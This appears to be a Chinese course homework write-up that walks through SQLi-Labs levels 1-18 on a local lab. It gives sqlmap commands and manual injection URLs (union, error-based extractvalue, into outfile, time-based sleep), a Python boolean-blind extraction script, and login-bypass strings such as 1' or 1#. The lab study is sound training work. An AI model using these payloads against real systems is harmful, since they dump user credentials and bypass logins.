文章来源 | MS08067 Web零基础就业班1期作业
本文作者:giunwr、tyrant(零基础1期)
SQLi-Labs是一个专业的SQL注入漏洞练习靶场,零基础的同学学SQL注入的时候,sqli-labs这个靶场是必练的,它里面包含了很多注入场景,以及在sql注入的时候遇到的各种问题,适用于GET和POST场景,包含了以下注入:
完成sqllibs前18关,尽可能使用多的方法
把对应该文件放在网站根目录下面,打开配置文件,修改密码
同时在自己的数据库中,执行该文件里面的命令即可
安装成功后的效果
环境:windows 10+python3 工具下载地址:https://github.com/sqlmapproject/sqlmap
安装步骤:下载好工具后,解压
创建访问快捷方式:
桌面右键创建快捷方式
创建好后右击属性,修改一下起始路径(就是你sqlMap的文件夹)
打开测试是否安装成功 python3 sqlmap.py -h
判断是否有注入点python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1"
找出当前数据库python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --current-db
找出当前数据库下面的表python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --tables -D "security"
找出users中的字段,发现有我们需要的账号密码信息python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --columns -D "security" -T "users"
获取users表下的信息python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --columns -D "security" -T "users" -dump
或者使用这个命令python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --dump -D "security" -T "users" -C "password,username"
http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1'")
2、判断列数
可以看出当前是表是有3列数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20order%20by%204--+
http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20order%20by%203--+
5、判断回显位置http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+
4、爆数据库
当前数据库为:securityhttp://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3--+
5、爆表
有个users表http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),3--+
http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),3--+
6、爆字段http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS where TABLE_SCHEMA ="security" AND TABLE_NAME="users")USING gbk),3--+
7、爆数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((select group_concat(username) from security.users)USING gbk),CONVERT((select group_concat(password) from security.users)USING gbk)--+
爆数据库http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(0x7e,concat(0x7e,database(),0x7e))--+
爆表http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),0x7e))--+
爆字段http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((SELECT%20group_concat(COLUMN_NAME)%20FROM%20information_schema.COLUMNS%20where%20TABLE_SCHEMA%20=%22security%22%20AND%20TABLE_NAME=%22users%22)USING%20gbk),0x7e))--+
爆数据
注意extractvalue()最多只能查询32个字符。http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(username)%20from%20security.users)USING%20gbk),0x7e))--+
而该字段有8个数据,而上面只获取了5个账号信息http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select count(*) from security.users),0x7e))--+
获取剩下的数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(username)%20from%20security.users%20where%20id%3E5)USING%20gbk),0x7e))--+
获取admin对应的密码http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(password)%20from%20security.users%20where%20id=8)USING%20gbk),0x7e))--+
http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%27%22) 不是引号注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=1 正常 http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=2 异常 判断为数字型SQL注入
其他步骤和第一关一样,只需要把第一关的单引号替换为 and 1=2即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=2%20union%20select%201,2,database()%20--+
判断为')注入方式,其他步骤和第一关一样,只需要把第一关的单引号替换为')即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-3/?id=1%27%22)--+
判断为")注入方式,其他步骤和第一关一样,只需要把第一关的单引号替换为")即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-4/?id=1%27%22)111
判断为单引号注入,同时没有报错的时候不会回显内容,需要使用报错注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-5/?id=1%27%22)
剩下的和第一关中的报错注入一模一样,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-5/?id=1%27%20and%20extractvalue(0x7e,concat(0x7e,database(),0x7e))--+
判断为双引号注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-6/?id=1%27%22)111
其余参考第一关报错注入
注意mysql默认不允许上传和导出文件 需要修改配置文件my.ini secure_file_priv=,值为空就是不限制目录,默认为NULL不允许上传 数据库中查询语句SHOW VARIABLES LIKE "secure_file_priv"
这边使用sqlmap注入python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1" --dump -D "security" -T "users" -C "password,username"
手动注入判断注入类型:字符型注入 ?id=1'))
http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1%27))%20Union%20select%201,2,database()%20into%20outfile%20%22F:/res.txt%22%20--+
其他的替换database()字段为我们需要的语句即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1%27))%20Union%20select%201,2,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk)%20into%20outfile%20%22F:/res1.txt%22%20--+
判断回显位置,闭合方式为单引号闭合http://127.0.0.1/sqlilab/sqli-labs-master/Less-8/?id=1%27or%201=1--+
可以看出报错和不报错的明显差别
使用布尔盲注 python脚本如下
import requests
import string
mystring = string.printable #所有可⻅字符
url='http://127.0.0.1/sqlilab/sqli-labs-master/Less-8/'
# url+='?id=-1\' or (substring((select group_concat(username) from users),{0},1)=\'{1}\') -- -'
url+='?id=-1\' or (substring(database(),{0},1)=\'{1}\') -- -'
reply='You are in...........'
print(url)
count = 1
result = ''
while(True):
temp_result=result
for char in mystring:
response=requests.get(url.format(count,char))
# print((response.content))
# print(url.format(count,char))
if reply in str(response.content):
result+=char
print(result+'......')
break
if result==temp_result:
print('Complete!')
break
if '+++' in result:
print('result: '+result[0:-3])
break
count+=1
url+='?id=-1' or (substring(database(),{0},1)='{1}') -- -'这句代码中间的语句database()换成我们需要执行的语句即可,如截图中的 SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22执行效果如下
这一关,不管怎样构造闭合,都会跟成功显示了一样似的,看似没有问题。
用时间盲注试了一下,用'就可以闭合。且能够判断出存在漏洞 127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5), 1 )--+
可以看到,5秒后,页面才正常加载。在通过ASCII编码转义一下,完成注入。
这一关跟第九个类似,用双引号闭合。利用时间盲注完成注入
这一关,需要登录,猜测用户验证的语句为:select * from users where username='' and password = ''.
因此考虑在username这里构造闭合 1' or 1#,并or 1,让后边的条件为真。
这一关用户名输入1",通过错误提示,构造闭合为1") or 1# ,顺利过关
这一关用户名输入123',通过错误提示,构造闭合为1') or 1# ,顺利过关
这一关用户名输入1",通过错误提示,构造闭合为1" or 1# ,顺利过关
这一关,不论怎么输,不打印错误提示了,猜测他的查询语句,进行闭合猜测,并尝试1' or 1#,猜测正确,顺利过关。
类似15关,猜测语句为1") or 1 #,顺利过关
— 实验室旗下直播培训课程 —